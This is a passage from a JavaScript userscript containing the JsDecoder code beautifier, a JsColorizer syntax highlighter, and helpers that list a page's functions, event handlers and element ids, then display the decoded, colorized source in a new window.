this.fixSub('else if');
//debug(this.getCurrentLine(), 're1 after');
} else if (re2.test(part)) {
this.i += re2.exec(part)[1].length;
this.write('else');
this.lastWord = 'else';
//debug(this.getCurrentLine(), 're2');
this.fixSub('else');
//debug(this.getCurrentLine(), 're2 after');
}
};
this.bracketOn = function ()
{
if (this.isKeyword() && this.prevChar != ' ' && this.prevChar != "\n") {
this.write(' (');
} else {
this.write('(');
}
};
this.bracketOff = function ()
{
this.write(')');
/*
if (/\w/.test(this.nextNonWhite(this.i))) {
this.semicolon();
}
*/
if (this.sub) {
return;
}
var re = new RegExp('^\\s*(if|for|while|do)\\s*\\([^{}]+\\)$', 'i');
var line = this.getCurrentLine();
if (re.test(line)) {
var c = this.nextNonWhite(this.i);
if ('{' != c && ';' != c && ')' != c) {
var opened = 0;
var closed = 0;
var foundFirst = false;
var semicolon = false;
var fix = false;
for (var k = 0; k < line.length; k++) {
if (line.charAt(k) == '(') {
foundFirst = true;
opened++;
}
if (line.charAt(k) == ')') {
closed++;
if (foundFirst && opened == closed) {
if (k == line.length - 1) {
fix = true;
} else {
break;
}
}
}
}
if (fix) {
//alert(this.s.substr(this.i));
//throw 'asdas';
//alert(line);
this.fixSub(re.exec(line)[1]);
/*
this.writeLine();
this.lvl2++;
var indent = '';
for (var j = 0; j < this.lvl2; j++) {
indent += ' ';
}
this.write(indent);
*/
}
}
}
};
this.sub = false;
this.orig_i = null;
this.orig_lvl = null;
this.orig_code = null;
this.orig_row = null;
this.orig_switches = null;
this.restoreOrig = function (omit_i)
{
this.sub = false;
if (!omit_i) { this.i = this.orig_i; }
this.lvl = this.orig_lvl;
this.code = this.orig_code;
this.row = this.orig_row;
this.switches = this.orig_switches;
this.prevCharInit();
this.lastWord = '';
this.charInit();
this.isAssign = false;
};
this.combineSub = function ()
{
//debug(this.orig_code, 'orig_code');
for (i = 0; i < this.code.length; i++) {
var line = this.orig_code[this.orig_row];
if (0 == i && line.length) {
if (line.substr(line.length-1, 1) != ' ') {
this.orig_code[this.orig_row] += ' ';
}
this.orig_code[this.orig_row] += this.code[i].trim();
} else {
this.orig_code[this.orig_row+i] = this.code[i];
}
}
//debug(this.code, 'sub_code');
//debug(this.orig_code, 'code');
};
this.fixSub = function (keyword)
{
// repair missing {}: for, if, while, do, else, else if
if (this.sub) {
return;
}
if ('{' == this.nextNonWhite(this.i)) {
return;
}
var firstWord = this.nextWord();
//debug(this.code, 'fixSub('+keyword+') start');
this.orig_i = this.i;
this.orig_lvl = this.lvl;
this.orig_code = this.code;
this.orig_row = this.row;
this.orig_switches = this.switches;
this.sub = true;
this.code = [''];
this.prevChar = '';
this.row = 0;
this.switches = [];
this.isAssign = false;
this.i++;
var b1 = 0;
var b2 = 0;
var b3 = 0;
if ('else if' == keyword) {
var first_b2_closed = false;
}
var found = false;
/*
try catch
switch
while do
if else else else...
todo: nestings
if ()
if ()
if ()
for ()
if () asd();
else
asd();
else
if ()
try {
} catch {}
else
if ()
*/
var b1_lastWord = false;
var b2_lastWord = false;
while (!found && this.i < this.len)
{
var c = this.s.charAt(this.i);
this.charInit();
switch (c)
{
case '{': b1++; break;
case '}':
b1--;
// case: for(){if (!c.m(g))c.g(f, n[t] + g + ';')}
if (0 == b1 && 0 == b2 && 0 == b3 && this.lvl-1 == this.orig_lvl)
{
var nextWord = this.nextWord();
if ('switch' == firstWord) {
found = true;
break;
}
if ('try' == firstWord && 'catch' == b1_lastWord) {
found = true;
break;
}
if ('while' == firstWord && 'do' == b1_lastWord) {
found = true;
break;
}
if ('if' == firstWord) {
// todo
}
if ('if' == keyword && 'else' == nextWord && 'if' != firstWord) {
found = true;
break;
}
b1_lastWord = nextWord;
}
break;
case '(': b2++; break;
case ')':
b2--;
if ('else if' == keyword && 0 == b2 && !first_b2_closed) {
if (this.nextNonWhite(this.i) == '{') {
this.write(c);
this.combineSub();
this.restoreOrig(true);
//debug(this.code, 'fixSub('+keyword+') b2 return');
//debug(this.s.charAt(this.i), ' b2 current char');
return;
}
// do not restore orig i
this.write(c);
this.combineSub();
this.restoreOrig(true);
this.fixSub('if');
//debug(this.code, 'fixSub('+keyword+') b2 return');
return;
}
break;
case '[': b3++; break;
case ']': b3--; break;
case ';':
//debug(this.getCurrentLine(), 'semicolon');
//debug([b1, b2, b3]);
if (0 == b1 && 0 == b2 && 0 == b3 && this.lvl == this.orig_lvl && 'if' != firstWord) {
found = true;
}
break;
}
if (-1 == b1 && b2 == 0 && b3 == 0 && this.prevNonWhite(this.i) != '}') {
this.write(';');
this.i--;
found = true;
} else if (b1 < 0 || b2 < 0 || b3 < 0) {
found = false;
break;
} else {
this.switch_c(c);
}
this.i++;
}
this.i--;
if (found)
{
/*
var re = /^\s*(else\s+[\s\S]*)$/;
if ('if' == keyword && re.test(this.getCurrentLine())) {
this.i = this.i - re.exec(this.getCurrentLine())[1].length;
this.code[this.row] = '';
}
*/
this.s = this.s.substr(0, this.orig_i+1) + '{' + this.code.join("\n") + '}' + this.s.substr(this.i+1);
this.len = this.s.length;
}
//debug("{\n" + this.code.join("\n") + '}', 'fixSub('+keyword+') result');
//debug(found, 'found');
this.restoreOrig(false);
};
this.squareBracketOn = function ()
{
this.checkKeyword();
this.write('[');
};
this.squareBracketOff = function ()
{
this.write(']');
};
this.isKeyword = function ()
{
// Check if this.lastWord is a keyword
return this.lastWord.length && this.keywords.indexOf(this.lastWord) != -1;
};
this.linefeed = function () {};
this.space = function ()
{
if (!this.prevChar.length) {
return;
}
if (' ' == this.prevChar || "\n" == this.prevChar) {
return;
}
if ('}' == this.prevChar && ']' == this.nextChar) {
//return;
}
this.write(' ');
return;
/*
if (this.isKeyword()) {
this.write(' ');
this.lastWord = '';
} else {
var multi = ['in', 'new'];
for (var i = 0; i < multi.length; i++) {
var isKeywordNext = true;
for (var j = 0; j < multi[i].length; j++) {
if (multi[i][j] != this.s.charAt(this.i + 1 + j)) {
isKeywordNext = false;
break;
}
}
if (isKeywordNext) {
this.write(' ');
this.lastWord = '';
break;
}
}
}
*/
};
this.checkKeyword = function ()
{
if (this.isKeyword() && this.prevChar != ' ' && this.prevChar != "\n") {
this.write(' ');
}
};
this.nextWord = function ()
{
var i = this.i;
var word = '';
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (word.length) {
if (/\s/.test(c)) {
break;
} else if (/\w/.test(c)) {
word += c;
} else {
break;
}
} else {
if (/\s/.test(c)) {
continue;
} else if (/\w/.test(c)) {
word += c;
} else {
break;
}
}
}
if (word.length) {
return word;
}
return false;
};
this.nextManyNW = function(many)
{
var ret = '';
var i = this.i;
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (!/^\s+$/.test(c)) {
ret += c;
if (ret.length == many) {
return ret;
}
}
}
return false;
}
this.goNextManyNW = function (cc)
{
var ret = '';
var i = this.i;
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (!/^\s+$/.test(c)) {
ret += c;
if (ret == cc) {
this.i = i;
this.charInit();
return true;
}
if (ret.length >= cc.length) {
return false;
}
}
}
return false;
};
this.nextNonWhite = function (i)
{
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (!/^\s+$/.test(c)) {
return c;
}
}
return false;
};
this.prevNonWhite = function (i)
{
while (i > 0)
{
i--;
var c = this.s.charAt(i);
if (!/^\s+$/.test(c)) {
return c;
}
}
return false;
};
this.goNextNonWhite = function ()
{
// you need to write() this nonWhite char when calling this func
var i = this.i;
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (!/^\s+$/.test(c)) {
this.i = i;
this.charInit();
return true;
}
}
return false;
};
this.colon = function ()
{
//alert(this.getCurrentLine());
/* case 6: expr ? stat : stat */
var line = this.getCurrentLine();
if (/^\s*case\s/.test(line) || /^\s*default$/.test(line)) {
this.write(':');
this.writeLine();
} else {
this.symbol2(':');
}
};
this.isStart = function ()
{
return this.getCurrentLine().length === 0;
};
this.backLine = function ()
{
if (!this.isStart) {
throw 'backLine() may be called only at the start of the line';
}
this.code.length = this.code.length-1;
this.row--;
};
this.semicolon = function ()
{
/* for statement: for (i = 1; i < len; i++) */
this.isAssign = false;
if (this.isStart()) {
this.backLine();
}
this.write(';');
if (/^\s*for\s/.test(this.getCurrentLine())) {
this.write(' ');
} else {
this.writeLine();
}
};
this.quotation = function (quotation)
{
this.checkKeyword();
var escaped = false;
this.write(quotation);
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
if ('\\' == c) {
escaped = (escaped ? false : true);
}
this.write(c);
if (c == quotation) {
if (!escaped) {
break;
}
}
if ('\\' != c) {
escaped = false;
}
}
//debug(this.getCurrentLine(), 'quotation');
//debug(this.s.charAt(this.i), 'char');
};
this.lineComment = function ()
{
this.write('//');
this.i++;
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
if ("\n" == c) {
this.writeLine();
break;
}
this.write(c);
}
};
this.comment = function ()
{
this.write('/*');
this.i++;
var c = '';
var prevC = '';
while (this.i < this.len - 1)
{
this.i++;
prevC = c;
c = this.s.charAt(this.i);
if (' ' == c || "\t" == c || "\n" == c) {
if (' ' == c) {
if (this.getCurrentLine().length > 100) {
this.writeLine();
} else {
this.write(' ', true);
}
} else if ("\t" == c) {
this.write(' ', true);
} else if ("\n" == c) {
this.writeLine();
}
} else {
this.write(c, true);
}
if ('/' == c && '*' == prevC) {
break;
}
}
this.writeLine();
};
this.slash = function ()
{
/*
divisor /= or *\/ (4/5 , a/5)
regexp /\w/ (//.test() , var asd = /some/;)
asd /= 5;
bbb = * / (4/5)
asd =( a/5);
regexp = /\w/;
/a/.test();
var asd = /some/;
obj = { sasd : /pattern/ig }
*/
var a_i = this.i - 1;
var a_c = this.s.charAt(a_i);
for (a_i = this.i - 1; a_i >= 0; a_i--) {
var c2 = this.s.charAt(a_i);
if (' ' == c2 || '\t' == c2) {
continue;
}
a_c = this.s.charAt(a_i);
break;
}
var a = /^\w+$/.test(a_c) || ']' == a_c || ')' == a_c;
var b = ('*' == this.prevChar);
if (a || b) {
if (a) {
if ('=' == this.nextChar) {
var ss = this.prevChar == ' ' ? '' : ' ';
this.write(ss+'/');
} else {
this.write(' / ');
}
} else if (b) {
this.write('/ ');
}
} else if (')' == this.prevChar) {
this.write(' / ');
} else {
var ret = '';
if ('=' == this.prevChar || ':' == this.prevChar) {
ret += ' /';
} else {
ret += '/';
}
var escaped = false;
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
if ('\\' == c) {
escaped = (escaped ? false : true);
}
ret += c;
if ('/' == c) {
if (!escaped) {
break;
}
}
if ('\\' != c) {
escaped = false;
}
}
this.write(ret);
}
};
this.comma = function ()
{
/*
* function arguments seperator
* array values seperator
* object values seperator
*/
this.write(', ');
var line = this.getCurrentLine();
if (line.replace(' ', '').length > 100) {
this.writeLine();
}
};
this.dot = function ()
{
this.write('.');
};
this.symbol1 = function (c)
{
if ('=' == this.prevChar && '!' == c) {
this.write(' '+c);
} else {
this.write(c);
}
};
this.symbol2 = function (c)
{
// && !p
// ===
if ('+' == c || '-' == c) {
if (c == this.nextChar || c == this.prevChar) {
this.write(c);
return;
}
}
var ss = (this.prevChar == ' ' ? '' : ' ');
var ss2 = ' ';
if ('(' == this.prevChar) {
ss = '';
ss2 = '';
}
if ('-' == c && ('>' == this.prevChar || '>' == this.prevChar)) {
this.write(' '+c);
return;
}
if (this.symbols2.indexOf(this.prevChar) != -1) {
if (this.symbols2.indexOf(this.nextChar) != -1) {
this.write(c + (this.nextChar == '!' ? ' ' : ''));
} else {
this.write(c + ss2);
}
} else {
if (this.symbols2.indexOf(this.nextChar) != -1) {
this.write(ss + c);
} else {
this.write(ss + c + ss2);
}
}
if ('=' == c && /^[\w\]]$/.test(this.prevNonWhite(this.i)) && /^[\w\'\"\[]$/.test(this.nextNonWhite(this.i))) {
this.isAssign = true;
}
};
this.alphanumeric = function (c)
{
/* /[a-zA-Z0-9_]/ == /\w/ */
if (this.lastWord) {
this.lastWord += c;
} else {
this.lastWord = c;
}
if (')' == this.prevChar) {
c = ' '+c;
}
this.write(c);
};
this.unknown = function (c)
{
//throw 'Unknown char: "'+c+'" , this.i = ' + this.i;
this.write(c);
};
this.charInit = function ()
{
/*
if (this.i > 0) {
//this.prevChar = this.s.charAt(this.i - 1);
var line = this.code[this.row];
if (line.length) {
this.prevChar = line.substr(line.length-1, 1);
} else {
this.prevChar = '';
}
} else {
this.prevChar = '';
}
*/
if (this.len - 1 === this.i) {
this.nextChar = '';
} else {
this.nextChar = this.s.charAt(this.i + 1);
}
};
this.write = function (s, isComment)
{
if (isComment) {
if (!/\s/.test(s)) {
if (this.code[this.row].length < this.lvl * 4) {
this.code[this.row] += str_repeat(' ', this.lvl * 4 - this.code[this.row].length);
}
}
this.code[this.row] += s;
} else {
if (0 === this.code[this.row].length) {
var lvl = ('}' == s ? this.lvl - 1 : this.lvl);
for (var i = 0; i < lvl; i++) {
this.code[this.row] += ' ';
}
this.code[this.row] += s;
} else {
this.code[this.row] += s;
}
}
this.prevCharInit();
};
this.writeLine = function ()
{
this.code.push('');
this.row++;
this.prevChar = "\n";
};
this.replaceLine = function (line, row)
{
if ('undefined' == typeof row) {
row = false;
}
if (row !== false) {
if (!/^\d+$/.test(row) || row < 0 || row > this.row) {
throw 'replaceLine() failed: invalid row='+row;
}
}
if (row !== false) {
this.code[row] = line;
} else {
this.code[this.row] = line;
}
if (row === false || row == this.row) {
this.prevCharInit();
}
};
this.prevCharInit = function ()
{
this.prevChar = this.code[this.row].charAt(this.code[this.row].length - 1);
};
this.writeTab = function ()
{
this.write(' ');
this.prevChar = ' ';
};
this.getCurrentLine = function ()
{
return this.code[this.row];
};
this.symbols1 = '~!^';
this.symbols2 = '-+*%<=>?:&|/!';
this.keywords = ['abstract', 'boolean', 'break', 'byte', 'case', 'catch', 'char', 'class',
'const', 'continue', 'default', 'delete', 'do', 'double', 'else', 'extends', 'false',
'final', 'finally', 'float', 'for', 'function', 'goto', 'if', 'implements', 'import',
'in', 'instanceof', 'int', 'interface', 'long', 'native', 'new', 'null', 'package',
'private', 'protected', 'public', 'return', 'short', 'static', 'super', 'switch',
'synchronized', 'this', 'throw', 'throws', 'transient', 'true', 'try', 'typeof', 'var',
'void', 'while', 'with'];
}
if (typeof Array.prototype.indexOf == 'undefined') {
/* Finds the index of the first occurence of item in the array, or -1 if not found */
Array.prototype.indexOf = function(item) {
for (var i = 0; i < this.length; i++) {
if ((typeof this[i] == typeof item) && (this[i] == item)) {
return i;
}
}
return -1;
};
}
if (!String.prototype.trim) {
String.prototype.trim = function() {
return this.replace(/^\s*|\s*$/g, '');
};
}
function str_repeat(str, repeat)
{
ret = '';
for (var i = 0; i < repeat; i++) {
ret += str;
}
return ret;
}
var debug_w;
function debug (arr, name)
{
if (!debug_w)
{
var width = 600;
var height = 600;
var x = (screen.width/2-width/2);
var y = (screen.height/2-height/2);
debug_w = window.open('', '', 'scrollbars=yes,resizable=yes,width='+width+',height='+height+',screenX='+(x)+',screenY='+y+',left='+x+',top='+y);
debug_w.document.open();
debug_w.document.write('<html><head><style>body{margin: 1em;padding: 0;font-family: courier new; font-size: 12px;}h1,h2{margin: 0.2em 0;}</style></head><body><h1>Debug</h1></body></html>');
debug_w.document.close();
}
var ret = '';
if ('undefined' !== typeof name && name.length) {
ret = '<h2>'+name+'</h2>'+"\n";
}
if ('object' === typeof arr) {
for (var i = 0; i < arr.length; i++) {
ret += '['+i+'] => '+arr[i]+"\n";
}
} else if ('string' == typeof arr) {
ret += arr;
} else {
try { ret += arr.toString(); } catch (e) {}
ret += ' ('+typeof arr+')';
}
debug_w.document.body.innerHTML += '<xmp>'+ret+'</xmp>';
}
/*
* DO NOT REMOVE THIS NOTICE
*
* PROJECT: JsDecoder
* VERSION: 1.1.0
* COPYRIGHT: (c) 2004-2008 Cezary Tomczak
* LINK: http://code.gosu.pl
* LICENSE: GPL
*/
function JsColorizer() {
this.color = {
"keyword": "#0000FF",
"object": "#FF0000",
"quotation": "#FF00FF",
"comment": "#008000"
};
this.s = ""; // code to colorize
this.i = 0;
this.len = 0;
this.ret = ""; // colorized code
this.lastWord = ""; // last alphanumeric word
this.nextChar = "";
this.prevChar = "";
this.code = [""];
this.row = 0;
this.times = {
quotation: 0, quotation_calls: 0,
lineComment: 0, lineComment_calls: 0,
comment: 0, comment_calls: 0,
slash: 0, slash_calls: 0,
word: 0, word_calls: 0
};
this.write = function (s)
{
this.code[this.row] += s;
if (s.length == 1) {
this.prevChar = s;
} else {
this.prevCharInit();
}
};
this.writeLine = function ()
{
this.code.push("");
this.row++;
this.prevChar = "\n";
};
this.prevCharInit = function ()
{
this.prevChar = this.code[this.row].charAt(this.code[this.row].length - 1);
};
this.showTimes = function ()
{
var ret = '';
for (var f in this.times) {
var t = this.times[f];
if (/_calls/.test(f)) {
ret += f+': '+t+"\n";
} else {
ret += f+': '+time_round(t)+" sec\n";
}
}
return ret;
};
this.colorize = function()
{
this.len = this.s.length;
while (this.i < this.len)
{
var c = this.s.charAt(this.i);
if (this.len - 1 == this.i) {
this.nextChar = "";
} else {
this.nextChar = this.s.charAt(this.i + 1);
}
switch (c) {
case "\n":
if (this.lastWord.length) { this.word(); }
this.lastWord = '';
this.writeLine();
break;
case "'":
case '"':
if (this.lastWord.length) { this.word(); }
this.lastWord = '';
this.quotation(c);
break;
case "/":
if (this.lastWord.length) { this.word(); }
this.lastWord = '';
if ("/" == this.nextChar) {
this.lineComment();
} else if ("*" == this.nextChar) {
this.comment();
} else {
this.slash();
}
break;
default:
if (/^\w$/.test(c)) {
this.lastWord += c;
} else {
if (this.lastWord.length) { this.word(); }
this.lastWord = '';
this.write(c);
}
break;
}
this.i++;
}
this.write(this.lastWord);
return this.code.join("\n");
};
this.quotation = function(quotation)
{
//var time = time_start();
var s = quotation;
var escaped = false;
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
if ("\\" == c) {
escaped = (escaped ? false : true);
}
s += c;
if (c == quotation) {
if (!escaped) {
break;
}
}
if ("\\" != c) {
escaped = false;
}
}
this.write('<font color="'+this.color.quotation+'">' + s + '</font>');
//this.times.quotation += time_get(time);
//this.times.quotation_calls++;
};
this.lineComment = function()
{
//var time = time_start();
var s = "//";
this.i++;
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
s += c;
if ("\n" == c) {
break;
}
}
this.write('<font color="'+this.color.comment+'">' + s + '</font>');
//this.times.lineComment += time_get(time);
//this.times.lineComment_calls++;
};
this.comment = function()
{
//var time = time_start();
var s = "/*";
this.i++;
var c = "";
var prevC = "";
while (this.i < this.len - 1) {
this.i++;
prevC = c;
c = this.s.charAt(this.i);
s += c;
if ("/" == c && "*" == prevC) {
break;
}
}
this.write('<font color="'+this.color.comment+'">' + s + '</font>');
//this.times.comment += time_get(time);
//this.times.comment_calls++;
};
/* SLASH
* divisor /= or *\/ (4/5 , a/5)
* regexp /\w/ (//.test() , var asd = /some/;) */
this.slash = function()
{
//var time = time_start();
var a_i = this.i - 1;
var a_c = this.s.charAt(a_i);
for (a_i = this.i - 1; a_i >= 0; a_i--) {
var c2 = this.s.charAt(a_i);
if (" " == c2 || "\t" == c2) {
continue;
}
a_c = this.s.charAt(a_i);
break;
}
var a = /^\w+$/.test(a_c) || ']' == a_c || ')' == a_c;
var b = ("*" == this.prevChar);
if (a || b) {
if (a) {
if ("=" == this.nextChar) {
this.write("/");
} else {
this.write("/");
}
} else if (b) {
this.write("/");
}
} else if (')' == this.prevChar) {
this.write('/');
} else {
var ret = '';
if ("=" == this.prevChar) {
ret += "/";
} else {
ret += "/";
}
var escaped = false;
while (this.i < this.len - 1) {
this.i++;
var c = this.s.charAt(this.i);
if ("\\" == c) {
escaped = (escaped ? false : true);
}
ret += c;
if ("/" == c) {
if (!escaped) {
break;
}
}
if ("\\" != c) {
escaped = false;
}
}
this.write('<font color="'+this.color.quotation+'">' + ret + '</font>');
}
//this.times.slash += time_get(time);
//this.times.slash_calls++;
};
this.word = function()
{
//var time = time_start();
if (this.keywords.indexOf(this.lastWord) != -1) {
this.write('<font color="'+this.color.keyword+'">' + this.lastWord + '</font>');
} else if (this.objects.indexOf(this.lastWord) != -1) {
this.write('<font color="'+this.color.object+'">' + this.lastWord + '</font>');
} else {
this.write(this.lastWord);
}
//this.times.word += time_get(time);
//this.times.word_calls++;
};
this.keywords = ["abstract", "boolean", "break", "byte", "case", "catch", "char", "class",
"const", "continue", "default", "delete", "do", "double", "else", "extends", "false",
"final", "finally", "float", "for", "function", "goto", "if", "implements", "import",
"in", "instanceof", "int", "interface", "long", "native", "new", "null", "package",
"private", "protected", "public", "return", "short", "static", "super", "switch",
"synchronized", "this", "throw", "throws", "transient", "true", "try", "typeof", "var",
"void", "while", "with"];
this.objects = ["Anchor", "anchors", "Applet", "applets", "Area", "Array", "Button", "Checkbox",
"Date", "document", "FileUpload", "Form", "forms", "Frame", "frames", "Hidden", "history",
"Image", "images", "Link", "links", "Area", "location", "Math", "MimeType", "mimeTypes",
"navigator", "options", "Password", "Plugin", "plugins", "Radio", "Reset", "Select",
"String", "Submit", "Text", "Textarea", "window"];
}
function findFunctionAddresses(StrObj)
{
var Function = ""; // if no match, use this
var FunctionsPlainArray = StrObj.match(/(function+[\s]?[\S]+[\s{0,1}]?[\(]?[\S]?[\)]+)/gi);
var FunctionsArray = StrObj.match(/(function +[\w\s]+[\(]?[\s\w\,\_]+[\)]+)/gi);
var count = 1;
if(FunctionsArray){Function += count +") " + FunctionsArray[0] + " ...<br>";count++;}
if (FunctionsPlainArray)
{
for (var i = 0; i < FunctionsPlainArray.length; i++)
{
if (i != 0)
Function += "<br>";
Function += count +") " + FunctionsPlainArray[i] + " ...";
count++;
}
}
var InlineFunctionsPlainArray = StrObj.match(/(function[\(][\)]+)/gi);
if (InlineFunctionsPlainArray)
{
for (var i = 0; i < InlineFunctionsPlainArray.length; i++)
{
if (i != 0 || count!=1)
Function += "<br>";
Function += count +") " + InlineFunctionsPlainArray[i] + " ... [Inline Function]";
count++;
}
}
if(Function == ""){Function="No functions exit.";}
return Function;
}
function findEventsAddresses(StrObj)
{
var Events = "No Events found."; // if no match, use this
var EventsPlainArray = StrObj.match(/on(abort|activate|afterprint|afterupdate|beforeupdate|beforeactivate|beforecopy|beforecut|beforedeactivate|beforeeditfocus|beforepaste|beforeprint|beforeunload|begin|blur|bounce|cellchanged|change|click|contextmenu|controlselect|copy|cut|dataavailable|datasetchanged|datasetcomplete|dblclick|deactivate|drag|dragend|dragleave|dragenter|dragover|dragdrop|drop|end|error|errorupdate|exit|filterchange|finish|focus|focusin|focusout|help|keydown|keypress|keyup|layoutcomplete|load|losecapture|mediacomplete|mediaerror|mousedown|mouseenter|mouseleave|mousemove|mouseout|mouseover|mouseup|mousewheel|move|moveend|movestart|outofsync|paste|pause|progress|propertychange|readystatechanged|repeat|reset|resize|resizeend|resizestart|resume|reverse|rowenter|rowexit|rowdelete|rowinserted|scroll|seek|select|selectionchanged|selectstart|start|stop|synchrestored|submit|timeerror|trackchanged|unload|urlflip)/gi);
if (EventsPlainArray) {
Events = "";
for (var i = 0; i < EventsPlainArray.length; i++)
{
if (i != 0)
Events += "<br>";
Events += (i+1) +") " + EventsPlainArray[i];
}
}
return Events;
}
function findIDsAddresses(StrObj)
{
var IDs = "No id or class or name found."; // if no match, use this
var IDsArray = StrObj.match(/((name|id|class)+[\s\=]+[\"\']?[\S\w]+[\'\"])/gi);
if (IDsArray) {
IDs = "";
for (var i = 0; i < IDsArray.length; i++)
{
if (i != 0)
IDs += "<br>";
IDs += (i+1) +") " + IDsArray[i];
}
}
return IDs;
}
// Start Conversion ::
var base_code = '';
var jsdecoder;
var jscolorizer;
var code = '';
var time = 0;
var msg = '';
var raw = '';
var colorcodes = '';
var js_url = document.URL.substring(0,document.URL.lastIndexOf("?"));
function decode()
{
code = '';
base_code = '';
raw = document.body.innerHTML;
raw = raw.replace(/<pre>/gi,"");
raw = raw.replace(/<\/pre>/gi,"");
jsdecoder = new JsDecoder();
jscolorizer = new JsColorizer();
jsdecoder.s = raw;
do_decode_init();
}
function do_decode_init()
{
setTimeout(do_decode, 50);
}
function do_decode()
{
time = time_start();
try {
code = jsdecoder.decode();
base_code = code;
} catch (e) {
msg += 'error<br><br>'+new String(e).replace(/\n/g, '<br>');
return;
}
setTimeout(do_colorize_init, 50);
}
function do_colorize_init()
{
setTimeout(do_colorize, 50);
}
function do_colorize()
{
time = time_start();
code = code.replace(/&/g, "&");
code = code.replace(/</g, "<");
code = code.replace(/>/g, ">");
jscolorizer.s = code;
try {
code = jscolorizer.colorize();
} catch (e) {
msg += 'Error<br><br>'+new String(e).replace(/\n/g, '<br>');
return;
}
/* debug:
$('msg').innerHTML += ' '+jscolorizer.showTimes().replace(/\n$/, '').replace(/\n/g, '<br> ')+'<br>';
*/
setTimeout(do_insert_init, 50);
}
function do_insert_init()
{
setTimeout(do_insert, 50);
}
function do_insert()
{
time = time_start();
try {
code = new String(code);
code = code.replace(/(\r\n|\r|\n)/g, "<br>\n");
code = code.replace(/<font\s+/gi, '<font@@@@@');
code = code.replace(/( |\t)/g, ' ');
code = code.replace(/<font@@@@@/gi, '<font ');
code = code.replace(/\n$/, '');
var count = 0;
var pos = code.indexOf("\n");
while (pos != -1) {
count++;
pos = code.indexOf("\n", pos+1);
}
count++;
pad = new String(count).length;
var lines = '';
for (var i = 0; i < count; i++) {
var p = pad - new String(i+1).length;
var no = new String(i+1);
for (k = 0; k < p; k++) { no = ' '+no; }
no += ' ';
lines += '<div style="background: #fff; color: #666;">'+no+'</div>';
}
var jsfindings = "";
jsfindings += "<strong>Functions Identified:</strong><br>" + findFunctionAddresses(document.body.innerHTML);
jsfindings += "<br><br><strong>Events Used Order Identified:</strong><br>" + findEventsAddresses(document.body.innerHTML)+ "<br>";
jsfindings += "<br><strong>Names/IDs/Classes Identified:</strong><br>" + findIDsAddresses(document.body.innerHTML)+ "<br>";
msg = '<div>' + msg + '</div>';
colorcodes = '<div id="code_area"><table cellspacing="0"cellpadding="0"style="font-family: courier new; font-size: 12px;"width="100%"><tr><td valign="bottom" id="lines" width="10">'+ lines+ '</td><td nowrap style="background: #f5f5f5;">' + code + '</td></tr></table></div>';
unsafeWindow.w = window.open("", '', 'fullscreen=true,toolbar=no,resizable=yes,scrollbars= yes, status = yes,width=1000,height=800,left=0,top=0');
unsafeWindow.w.document.title = js_url;
unsafeWindow.w.document.body.setAttribute("style","font:12px arial;line-height:2em;");
msg = '<div id="msg" style="padding-left:2%;padding-top:2%;padding-bottom:2%;border:1px dashed gray;font-family: arial; font-size: 13px; margin: 1em 0;">' + jsfindings + msg + '</div><br>Code: ';
colorcodes = '<div id="code_area"><table cellspacing="0"cellpadding="0"style="font-family: courier new; font-size: 12px;"width="100%"><tr><td valign="bottom" id="lines" width="10">'+ lines+ '</td><td nowrap style="background: #f5f5f5;padding-left:1%;">' + code + '</td></tr></table></div>';
unsafeWindow.w.document.body.innerHTML = msg + colorcodes;
unsafeWindow.close();
} catch (e) {
msg += 'error<br><br>'+new String(e).replace(/\n/g, '<br>');
return;
}
msg += 'ok ('+time_end(time)+' sec)';
code = '';
}
function do_clean_init()
{
//$('msg').innerHTML = 'Removing code .. ';
setTimeout(do_clean, 50);
}
function do_clean()
{
time = time_start();
base_code = '';
jsdecoder.s = document.body.innerHTML;
setTimeout(do_decode_init, 50);
}
function $(id)
{
return document.getElementById(id);
}
function time_micro()
{
var micro = new String(new Date().getTime());
micro = micro.substr(0, micro.length-3) + '.' + micro.substr(micro.length-3, 3);
return parseFloat(micro);
}
function time_start()
{
return time_micro();
}
function time_get(start)
{
return time_micro() - start;
}
function time_end(start)
{
return time_round(time_micro() - start);
}
function time_round(time)
{
time = Math.round(time * 100) / 100;
if (time === 0) { time = 0.01; }
return time;
}
decode();
}